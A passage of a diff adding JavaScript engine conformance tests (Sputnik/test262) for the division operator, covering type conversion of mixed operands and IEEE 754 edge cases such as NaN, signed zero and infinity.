+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true / true !== 1) {
+ $ERROR('#1: true / true === 1. Actual: ' + (true / true));
+}
+
+//CHECK#2
+if (new Boolean(true) / true !== 1) {
+ $ERROR('#2: new Boolean(true) / true === 1. Actual: ' + (new Boolean(true) / true));
+}
+
+//CHECK#3
+if (true / new Boolean(true) !== 1) {
+ $ERROR('#3: true / new Boolean(true) === 1. Actual: ' + (true / new Boolean(true)));
+}
+
+//CHECK#4
+if (new Boolean(true) / new Boolean(true) !== 1) {
+ $ERROR('#4: new Boolean(true) / new Boolean(true) === 1. Actual: ' + (new Boolean(true) / new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.2.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.2.js
new file mode 100644
index 000000000..97bb6036d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 / 1 !== 1) {
+ $ERROR('#1: 1 / 1 === 1. Actual: ' + (1 / 1));
+}
+
+//CHECK#2
+if (new Number(1) / 1 !== 1) {
+ $ERROR('#2: new Number(1) / 1 === 1. Actual: ' + (new Number(1) / 1));
+}
+
+//CHECK#3
+if (1 / new Number(1) !== 1) {
+ $ERROR('#3: 1 / new Number(1) === 1. Actual: ' + (1 / new Number(1)));
+}
+
+//CHECK#4
+if (new Number(1) / new Number(1) !== 1) {
+ $ERROR('#4: new Number(1) / new Number(1) === 1. Actual: ' + (new Number(1) / new Number(1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.3.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.3.js
new file mode 100644
index 000000000..56d1b142c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" / "1" !== 1) {
+ $ERROR('#1: "1" / "1" === 1. Actual: ' + ("1" / "1"));
+}
+
+//CHECK#2
+if (new String("1") / "1" !== 1) {
+ $ERROR('#2: new String("1") / "1" === 1. Actual: ' + (new String("1") / "1"));
+}
+
+//CHECK#3
+if ("1" / new String("1") !== 1) {
+ $ERROR('#3: "1" / new String("1") === 1. Actual: ' + ("1" / new String("1")));
+}
+
+//CHECK#4
+if (new String("1") / new String("1") !== 1) {
+ $ERROR('#4: new String("1") / new String("1") === 1. Actual: ' + (new String("1") / new String("1")));
+}
+
+//CHECK#5
+if (isNaN("x" / "1") !== true) {
+ $ERROR('#5: "x" / "1" === Not-a-Number. Actual: ' + ("x" / "1"));
+}
+
+//CHECK#6
+if (isNaN("1" / "x") !== true) {
+ $ERROR('#6: "1" / "x" === Not-a-Number. Actual: ' + ("1" / "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.4.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.4.js
new file mode 100644
index 000000000..e9269fb45
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (isNaN(null / undefined) !== true) {
+ $ERROR('#1: null / undefined === Not-a-Number. Actual: ' + (null / undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined / null) !== true) {
+ $ERROR('#2: undefined / null === Not-a-Number. Actual: ' + (undefined / null));
+}
+
+//CHECK#3
+if (isNaN(undefined / undefined) !== true) {
+ $ERROR('#3: undefined / undefined === Not-a-Number. Actual: ' + (undefined / undefined));
+}
+
+//CHECK#4
+if (isNaN(null / null) !== true) {
+ $ERROR('#4: null / null === Not-a-Number. Actual: ' + (null / null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.5.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.5.js
new file mode 100644
index 000000000..ec57702be
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.5.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T1.5.js
+ * @description Type(x) and Type(y) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (isNaN({} / function(){return 1}) !== true) {
+ $ERROR('#1: {} / function(){return 1} === Not-a-Number. Actual: ' + ({} / function(){return 1}));
+}
+
+//CHECK#2
+if (isNaN(function(){return 1} / {}) !== true) {
+ $ERROR('#2: function(){return 1} / {} === Not-a-Number. Actual: ' + (function(){return 1} / {}));
+}
+
+//CHECK#3
+if (isNaN(function(){return 1} / function(){return 1}) !== true) {
+ $ERROR('#3: function(){return 1} / function(){return 1} === Not-a-Number. Actual: ' + (function(){return 1} / function(){return 1}));
+}
+
+//CHECK#4
+if (isNaN({} / {}) !== true) {
+ $ERROR('#4: {} / {} === Not-a-Number. Actual: ' + ({} / {}));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.1.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.1.js
new file mode 100644
index 000000000..7cd3f7cf6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true / 1 !== 1) {
+ $ERROR('#1: true / 1 === 1. Actual: ' + (true / 1));
+}
+
+//CHECK#2
+if (1 / true !== 1) {
+ $ERROR('#2: 1 / true === 1. Actual: ' + (1 / true));
+}
+
+//CHECK#3
+if (new Boolean(true) / 1 !== 1) {
+ $ERROR('#3: new Boolean(true) / 1 === 1. Actual: ' + (new Boolean(true) / 1));
+}
+
+//CHECK#4
+if (1 / new Boolean(true) !== 1) {
+ $ERROR('#4: 1 / new Boolean(true) === 1. Actual: ' + (1 / new Boolean(true)));
+}
+
+//CHECK#5
+if (true / new Number(1) !== 1) {
+ $ERROR('#5: true / new Number(1) === 1. Actual: ' + (true / new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) / true !== 1) {
+ $ERROR('#6: new Number(1) / true === 1. Actual: ' + (new Number(1) / true));
+}
+
+//CHECK#7
+if (new Boolean(true) / new Number(1) !== 1) {
+ $ERROR('#7: new Boolean(true) / new Number(1) === 1. Actual: ' + (new Boolean(true) / new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) / new Boolean(true) !== 1) {
+ $ERROR('#8: new Number(1) / new Boolean(true) === 1. Actual: ' + (new Number(1) / new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.2.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.2.js
new file mode 100644
index 000000000..8678544ad
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" / 1 !== 1) {
+ $ERROR('#1: "1" / 1 === 1. Actual: ' + ("1" / 1));
+}
+
+//CHECK#2
+if (1 / "1" !== 1) {
+ $ERROR('#2: 1 / "1" === 1. Actual: ' + (1 / "1"));
+}
+
+//CHECK#3
+if (new String("1") / 1 !== 1) {
+ $ERROR('#3: new String("1") / 1 === 1. Actual: ' + (new String("1") / 1));
+}
+
+//CHECK#4
+if (1 / new String("1") !== 1) {
+ $ERROR('#4: 1 / new String("1") === 1. Actual: ' + (1 / new String("1")));
+}
+
+//CHECK#5
+if ("1" / new Number(1) !== 1) {
+ $ERROR('#5: "1" / new Number(1) === 1. Actual: ' + ("1" / new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) / "1" !== 1) {
+ $ERROR('#6: new Number(1) / "1" === 1. Actual: ' + (new Number(1) / "1"));
+}
+
+//CHECK#7
+if (new String("1") / new Number(1) !== 1) {
+ $ERROR('#7: new String("1") / new Number(1) === 1. Actual: ' + (new String("1") / new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) / new String("1") !== 1) {
+ $ERROR('#8: new Number(1) / new String("1") === 1. Actual: ' + (new Number(1) / new String("1")));
+}
+
+//CHECK#9
+if (isNaN("x" / 1) !== true) {
+ $ERROR('#9: "x" / 1 === Not-a-Number. Actual: ' + ("x" / 1));
+}
+
+//CHECK#10
+if (isNaN(1 / "x") !== true) {
+ $ERROR('#10: 1 / "x" === Not-a-Number. Actual: ' + (1 / "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.3.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.3.js
new file mode 100644
index 000000000..bd37aaefa
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 / null !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: 1 / null === +Infinity. Actual: ' + (1 / null));
+}
+
+//CHECK#2
+if (null / 1 !== 0) {
+ $ERROR('#2: null / 1 === 0. Actual: ' + (null / 1));
+}
+
+//CHECK#3
+if (new Number(1) / null !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: new Number(1) / null === +Infinity. Actual: ' + (new Number(1) / null));
+}
+
+//CHECK#4
+if (null / new Number(1) !== 0) {
+ $ERROR('#4: null / new Number(1) === 0. Actual: ' + (null / new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.4.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.4.js
new file mode 100644
index 000000000..a67647f6b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(1 / undefined) !== true) {
+ $ERROR('#1: 1 / undefined === Not-a-Number. Actual: ' + (1 / undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined / 1) !== true) {
+ $ERROR('#2: undefined / 1 === Not-a-Number. Actual: ' + (undefined / 1));
+}
+
+//CHECK#3
+if (isNaN(new Number(1) / undefined) !== true) {
+ $ERROR('#3: new Number(1) / undefined === Not-a-Number. Actual: ' + (new Number(1) / undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined / new Number(1)) !== true) {
+ $ERROR('#4: undefined / new Number(1) === Not-a-Number. Actual: ' + (undefined / new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.5.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.5.js
new file mode 100644
index 000000000..ae723bdae
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true / "1" !== 1) {
+ $ERROR('#1: true / "1" === 1. Actual: ' + (true / "1"));
+}
+
+//CHECK#2
+if ("1" / true !== 1) {
+ $ERROR('#2: "1" / true === 1. Actual: ' + ("1" / true));
+}
+
+//CHECK#3
+if (new Boolean(true) / "1" !== 1) {
+ $ERROR('#3: new Boolean(true) / "1" === 1. Actual: ' + (new Boolean(true) / "1"));
+}
+
+//CHECK#4
+if ("1" / new Boolean(true) !== 1) {
+ $ERROR('#4: "1" / new Boolean(true) === 1. Actual: ' + ("1" / new Boolean(true)));
+}
+
+//CHECK#5
+if (true / new String("1") !== 1) {
+ $ERROR('#5: true / new String("1") === 1. Actual: ' + (true / new String("1")));
+}
+
+//CHECK#6
+if (new String("1") / true !== 1) {
+ $ERROR('#6: new String("1") / true === 1. Actual: ' + (new String("1") / true));
+}
+
+//CHECK#7
+if (new Boolean(true) / new String("1") !== 1) {
+ $ERROR('#7: new Boolean(true) / new String("1") === 1. Actual: ' + (new Boolean(true) / new String("1")));
+}
+
+//CHECK#8
+if (new String("1") / new Boolean(true) !== 1) {
+ $ERROR('#8: new String("1") / new Boolean(true) === 1. Actual: ' + (new String("1") / new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.6.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.6.js
new file mode 100644
index 000000000..728613ebd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN("1" / undefined) !== true) {
+ $ERROR('#1: "1" / undefined === Not-a-Number. Actual: ' + ("1" / undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined / "1") !== true) {
+ $ERROR('#2: undefined / "1" === Not-a-Number. Actual: ' + (undefined / "1"));
+}
+
+//CHECK#3
+if (isNaN(new String("1") / undefined) !== true) {
+ $ERROR('#3: new String("1") / undefined === Not-a-Number. Actual: ' + (new String("1") / undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined / new String("1")) !== true) {
+ $ERROR('#4: undefined / new String("1") === Not-a-Number. Actual: ' + (undefined / new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.7.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.7.js
new file mode 100644
index 000000000..9a307dc32
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" / null !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: "1" / null === +Infinity. Actual: ' + ("1" / null));
+}
+
+//CHECK#2
+if (null / "1" !== 0) {
+ $ERROR('#2: null / "1" === 0. Actual: ' + (null / "1"));
+}
+
+//CHECK#3
+if (new String("1") / null !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: new String("1") / null === +Infinity. Actual: ' + (new String("1") / null));
+}
+
+//CHECK#4
+if (null / new String("1") !== 0) {
+ $ERROR('#4: null / new String("1") === 0. Actual: ' + (null / new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.8.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.8.js
new file mode 100644
index 000000000..a3fb0e50e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(true / undefined) !== true) {
+ $ERROR('#1: true / undefined === Not-a-Number. Actual: ' + (true / undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined / true) !== true) {
+ $ERROR('#2: undefined / true === Not-a-Number. Actual: ' + (undefined / true));
+}
+
+//CHECK#3
+if (isNaN(new Boolean(true) / undefined) !== true) {
+ $ERROR('#3: new Boolean(true) / undefined === Not-a-Number. Actual: ' + (new Boolean(true) / undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined / new Boolean(true)) !== true) {
+ $ERROR('#4: undefined / new Boolean(true) === Not-a-Number. Actual: ' + (undefined / new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.9.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.9.js
new file mode 100644
index 000000000..5459c4d04
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true / null !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: true / null === +Infinity. Actual: ' + (true / null));
+}
+
+//CHECK#2
+if (null / true !== 0) {
+ $ERROR('#2: null / true === 0. Actual: ' + (null / true));
+}
+
+//CHECK#3
+if (new Boolean(true) / null !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: new Boolean(true) / null === +Infinity. Actual: ' + (new Boolean(true) / null));
+}
+
+//CHECK#4
+if (null / new Boolean(true) !== 0) {
+ $ERROR('#4: null / new Boolean(true) === 0. Actual: ' + (null / new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T1.1.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T1.1.js
new file mode 100644
index 000000000..f98c2b58e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T1.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T1.1.js
+ * @description If left operand is NaN, the result is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NaN / Number.NaN) !== true) {
+ $ERROR('#1: NaN / NaN === Not-a-Number. Actual: ' + (NaN / NaN));
+}
+
+//CHECK#2
+if (isNaN(Number.NaN / +0) !== true) {
+ $ERROR('#2: NaN / +0 === Not-a-Number. Actual: ' + (NaN / +0));
+}
+
+//CHECK#3
+if (isNaN(Number.NaN / -0) !== true) {
+ $ERROR('#3: NaN / -0 === Not-a-Number. Actual: ' + (NaN / -0));
+}
+
+//CHECK#4
+if (isNaN(Number.NaN / Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#4: NaN / Infinity === Not-a-Number. Actual: ' + (NaN / Infinity));
+}
+
+//CHECK#5
+if (isNaN(Number.NaN / Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#5: NaN / -Infinity === Not-a-Number. Actual: ' + (NaN / -Infinity));
+}
+
+//CHECK#6
+if (isNaN(Number.NaN / Number.MAX_VALUE) !== true) {
+ $ERROR('#6: NaN / Number.MAX_VALUE === Not-a-Number. Actual: ' + (NaN / Number.MAX_VALUE));
+}
+
+//CHECK#7
+if (isNaN(Number.NaN / Number.MIN_VALUE) !== true) {
+ $ERROR('#7: NaN / Number.MIN_VALUE === Not-a-Number. Actual: ' + (NaN / Number.MIN_VALUE));
+}
+
+//CHECK#8
+if (isNaN(Number.NaN / 1) !== true) {
+ $ERROR('#8: NaN / 1 === Not-a-Number. Actual: ' + (NaN / 1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T1.2.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T1.2.js
new file mode 100644
index 000000000..57415ff2a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T1.2.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T1.2.js
+ * @description If right operand is NaN, the result is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NaN / Number.NaN) !== true) {
+ $ERROR('#1: NaN / NaN === Not-a-Number. Actual: ' + (NaN / NaN));
+}
+
+//CHECK#2
+if (isNaN(+0 / Number.NaN) !== true) {
+ $ERROR('#2: +0 / NaN === Not-a-Number. Actual: ' + (+0 / NaN));
+}
+
+//CHECK#3
+if (isNaN(-0 / Number.NaN) !== true) {
+ $ERROR('#3: -0 / NaN === Not-a-Number. Actual: ' + (-0 / NaN));
+}
+
+//CHECK#4
+if (isNaN(Number.POSITIVE_INFINITY / Number.NaN) !== true) {
+ $ERROR('#4: Infinity / NaN === Not-a-Number. Actual: ' + (Infinity / NaN));
+}
+
+//CHECK#5
+if (isNaN(Number.NEGATIVE_INFINITY / Number.NaN) !== true) {
+ $ERROR('#5: -Infinity / NaN === Not-a-Number. Actual: ' + ( -Infinity / NaN));
+}
+
+//CHECK#6
+if (isNaN(Number.MAX_VALUE / Number.NaN) !== true) {
+ $ERROR('#6: Number.MAX_VALUE / NaN === Not-a-Number. Actual: ' + (Number.MAX_VALUE / NaN));
+}
+
+//CHECK#7
+if (isNaN(Number.MIN_VALUE / Number.NaN) !== true) {
+ $ERROR('#7: Number.MIN_VALUE / NaN === Not-a-Number. Actual: ' + (Number.MIN_VALUE / NaN));
+}
+
+//CHECK#8
+if (isNaN(1 / Number.NaN) !== true) {
+ $ERROR('#8: 1 / NaN === Not-a-Number. Actual: ' + (1 / NaN));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T10.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T10.js
new file mode 100644
index 000000000..a8a0f25ab
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T10.js
@@ -0,0 +1,59 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T10.js
+ * @description If both operands are finite and nonzero, the quotient is computed and rounded using IEEE 754 round-to-nearest mode.
+ * If the magnitude is too small to represent, the result is then a zero of appropriate sign
+ */
+
+//CHECK#1
+if (Number.MIN_VALUE / 2.1 !== 0) {
+ $ERROR('#1: Number.MIN_VALUE / 2.1 === 0. Actual: ' + (Number.MIN_VALUE / 2.1));
+}
+
+//CHECK#2
+if (Number.MIN_VALUE / -2.1 !== -0) {
+ $ERROR('#2.1: Number.MIN_VALUE / -2.1 === 0. Actual: ' + (Number.MIN_VALUE / -2.1));
+} else {
+ if (1 / (Number.MIN_VALUE / -2.1) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#2.2: Number.MIN_VALUE / -2.1 === -0. Actual: +0');
+ }
+}
+
+//CHECK#3
+if (Number.MIN_VALUE / 2.0 !== 0) {
+ $ERROR('#3: Number.MIN_VALUE / 2.0 === 0. Actual: ' + (Number.MIN_VALUE / 2.0));
+}
+
+//CHECK#4
+if (Number.MIN_VALUE / -2.0 !== -0) {
+ $ERROR('#4.1: Number.MIN_VALUE / -2.0 === -0. Actual: ' + (Number.MIN_VALUE / -2.0));
+} else {
+ if (1 / (Number.MIN_VALUE / -2.0) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4.2: Number.MIN_VALUE / -2.0 === -0. Actual: +0');
+ }
+}
+
+//CHECK#5
+if (Number.MIN_VALUE / 1.9 !== Number.MIN_VALUE) {
+ $ERROR('#5: Number.MIN_VALUE / 1.9 === Number.MIN_VALUE. Actual: ' + (Number.MIN_VALUE / 1.9));
+}
+
+//CHECK#6
+if (Number.MIN_VALUE / -1.9 !== -Number.MIN_VALUE) {
+ $ERROR('#6: Number.MIN_VALUE / -1.9 === -Number.MIN_VALUE. Actual: ' + (Number.MIN_VALUE / -1.9));
+}
+
+//CHECK#7
+if (Number.MIN_VALUE / 1.1 !== Number.MIN_VALUE) {
+ $ERROR('#7: Number.MIN_VALUE / 1.1 === Number.MIN_VALUE. Actual: ' + (Number.MIN_VALUE / 1.1));
+}
+
+//CHECK#8
+if (Number.MIN_VALUE / -1.1 !== -Number.MIN_VALUE) {
+ $ERROR('#8: Number.MIN_VALUE / -1.1 === -Number.MIN_VALUE. Actual: ' + (Number.MIN_VALUE / -1.1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T2.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T2.js
new file mode 100644
index 000000000..4e0143879
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T2.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T2.js
+ * @description The sign of the result is positive if both operands have the same sign, negative if the operands have different signs
+ */
+
+//CHECK#1
+if (1 / 1 !== 1) {
+ $ERROR('#1: 1 / 1 === 1. Actual: ' + (1 / 1));
+}
+
+//CHECK#2
+if (1 / -1 !== -1) {
+ $ERROR('#2: 1 / -1 === -1. Actual: ' + (1 / -1));
+}
+
+//CHECK#3
+if (-1 / 1 !== -1) {
+ $ERROR('#3: -1 / 1 === -1. Actual: ' + (-1 / 1));
+}
+
+//CHECK#4
+if (-1 / -1 !== 1) {
+ $ERROR('#4: -1 / -1 === 1. Actual: ' + (-1 / -1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T3.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T3.js
new file mode 100644
index 000000000..dd67b91f8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T3.js
+ * @description Division of an infinity by a zero results in an infinity of appropriate sign
+ */
+
+//CHECK#1
+if (Number.NEGATIVE_INFINITY / 0 !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#1: Infinity / 0 === Infinity. Actual: ' + (Infinity / 0));
+}
+
+//CHECK#2
+if (Number.NEGATIVE_INFINITY / -0 !== Number.POSITIVE_INFINITY) {
